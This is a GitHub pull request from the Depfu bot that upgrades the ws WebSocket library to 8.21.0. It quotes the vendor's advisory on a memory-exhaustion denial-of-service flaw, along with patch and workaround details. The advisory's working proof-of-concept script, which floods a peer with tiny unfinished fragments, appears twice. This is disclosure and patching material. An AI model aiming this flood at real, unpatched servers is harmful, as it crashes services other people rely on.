Skip to content

🚚 [security] Update ws 8.20.1 → 8.21.0 (minor)#185

Open
depfu[bot] wants to merge 1 commit into
mainfrom
depfu/update/npm/ws-8.21.0
Open

🚚 [security] Update ws 8.20.1 → 8.21.0 (minor)#185
depfu[bot] wants to merge 1 commit into
mainfrom
depfu/update/npm/ws-8.21.0

Conversation

@depfu

@depfu depfu Bot commented May 23, 2026

Copy link
Copy Markdown

🚚 Your current dependencies have known security vulnerabilities 🚚

This dependency update fixes known security vulnerabilities. Please see the details below and assess their impact carefully. We recommend to merge and deploy this as soon as possible!


Here is everything you need to know about this update. Please take a good look at what changed and the test results before merging this pull request.

What changed?

✳ ws (8.20.1 → 8.21.0) · Repo

Security Advisories 🚚

🚚 ws: Memory exhaustion DoS from tiny fragments and data chunks

Impact

A high volume of exceptionally small fragments and data chunks can be sent by a peer, with modest network traffic, to force the remote peer into allocating and holding structural wrappers that consume far more memory than the default documented message-size limit, leading to process termination due to OOM.

Proof of concept

import { WebSocket, WebSocketServer } from 'ws';

const wss = new WebSocketServer({ port: 0 }, function () {
const data = Buffer.alloc(1);
const options = { fin: false };
const { port } = wss.address();
const ws = new WebSocket(ws://localhost:<span class="pl-s1"><span class="pl-kos">${</span><span class="pl-s1">port</span><span class="pl-kos">}</span></span>);

ws.on('open', function () {
(function send() {
ws.send(data, options, function (err) {
if (err) return;
send();
});
})();
});

ws.on('error', console.error);
ws.on('close', function (code, reason) {
console.log(client close - code: <span class="pl-s1"><span class="pl-kos">${</span><span class="pl-s1">code</span><span class="pl-kos">}</span></span> reason: <span class="pl-s1"><span class="pl-kos">${</span><span class="pl-s1">reason</span><span class="pl-kos">.</span><span class="pl-en">toString</span><span class="pl-kos">(</span><span class="pl-kos">)</span><span class="pl-kos">}</span></span>);
});
});

wss.on('connection', function (ws) {
ws.on('error', console.error);
ws.on('close', function (code, reason) {
console.log(server close - code: <span class="pl-s1"><span class="pl-kos">${</span><span class="pl-s1">code</span><span class="pl-kos">}</span></span> reason: <span class="pl-s1"><span class="pl-kos">${</span><span class="pl-s1">reason</span><span class="pl-kos">.</span><span class="pl-en">toString</span><span class="pl-kos">(</span><span class="pl-kos">)</span><span class="pl-kos">}</span></span>);
});
});

Patches

The vulnerability was fixed in ws@8.21.0 (bca91ad) and backported to ws@7.5.11 (fd36cd8), ws@6.2.4 (86d3e8a), and ws@5.2.5 (b5372ac).

Workarounds

In vulnerable versions, the issue can be mitigated by lowering the value of the maxPayload option if possible.

Credits

The vulnerability was responsibly disclosed and fixed by Nadav Magier.

Release Notes

8.21.0

Features

  • Introduced the maxBufferedChunks and maxFragments options (2b2abd4).

Bug fixes

  • Fixed a remote memory exhaustion DoS vulnerability (2b2abd4).

A high volume of tiny fragments and data chunks could be sent by a peer, using
modest network traffic, to crash a ws server or client due to OOM.

import { WebSocket, WebSocketServer } from 'ws';

const wss = new WebSocketServer({ port: 0 }, function () {
const data = Buffer.alloc(1);
const options = { fin: false };
const { port } = wss.address();
const ws = new WebSocket(ws://localhost:<span class="pl-s1"><span class="pl-kos">${</span><span class="pl-s1">port</span><span class="pl-kos">}</span></span>);

ws.on('open', function () {
(function send() {
ws.send(data, options, function (err) {
if (err) return;
send();
});
})();
});

ws.on('error', console.error);
ws.on('close', function (code, reason) {
console.log(client close - code: <span class="pl-s1"><span class="pl-kos">${</span><span class="pl-s1">code</span><span class="pl-kos">}</span></span> reason: <span class="pl-s1"><span class="pl-kos">${</span><span class="pl-s1">reason</span><span class="pl-kos">.</span><span class="pl-en">toString</span><span class="pl-kos">(</span><span class="pl-kos">)</span><span class="pl-kos">}</span></span>);
});
});

wss.on('connection', function (ws) {
ws.on('error', console.error);
ws.on('close', function (code, reason) {
console.log(server close - code: <span class="pl-s1"><span class="pl-kos">${</span><span class="pl-s1">code</span><span class="pl-kos">}</span></span> reason: <span class="pl-s1"><span class="pl-kos">${</span><span class="pl-s1">reason</span><span class="pl-kos">.</span><span class="pl-en">toString</span><span class="pl-kos">(</span><span class="pl-kos">)</span><span class="pl-kos">}</span></span>);
});
});

The vulnerability was responsibly disclosed and fixed by Nadav Magier.

In vulnerable versions, the issue can be mitigated by lowering the value of the
maxPayload option if possible.

Does any of this look wrong? Please let us know.

Commits

See the full diff on Github. The new version differs by 3 commits:


Depfu Status

Depfu will automatically keep this PR conflict-free, as long as you don't add any commits to this branch yourself. You can also trigger a rebase manually by commenting with @depfu rebase.

All Depfu comment commands
@​depfu rebase
Rebases against your default branch and redoes this update
@​depfu recreate
Recreates this PR, overwriting any edits that you've made to it
@​depfu merge
Merges this PR once your tests are passing and conflicts are resolved
@​depfu cancel merge
Cancels automatic merging of this PR
@​depfu close
Closes this PR and deletes the branch
@​depfu reopen
Restores the branch and reopens this PR (if it's closed)
@​depfu pause
Ignores all future updates for this dependency and closes this PR
@​depfu pause [minor|major]
Ignores all future minor/major updates for this dependency and closes this PR
@​depfu resume
Future versions of this dependency will create PRs again (leaves this PR as is)

@depfu depfu Bot added the depfu label May 23, 2026
@depfu depfu Bot changed the title Update ws 8.20.1 → 8.21.0 (minor) 🚚 [security] Update ws 8.20.1 → 8.21.0 (minor) Jun 15, 2026
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

Projects

None yet

Development

Successfully merging this pull request may close these issues.

0 participants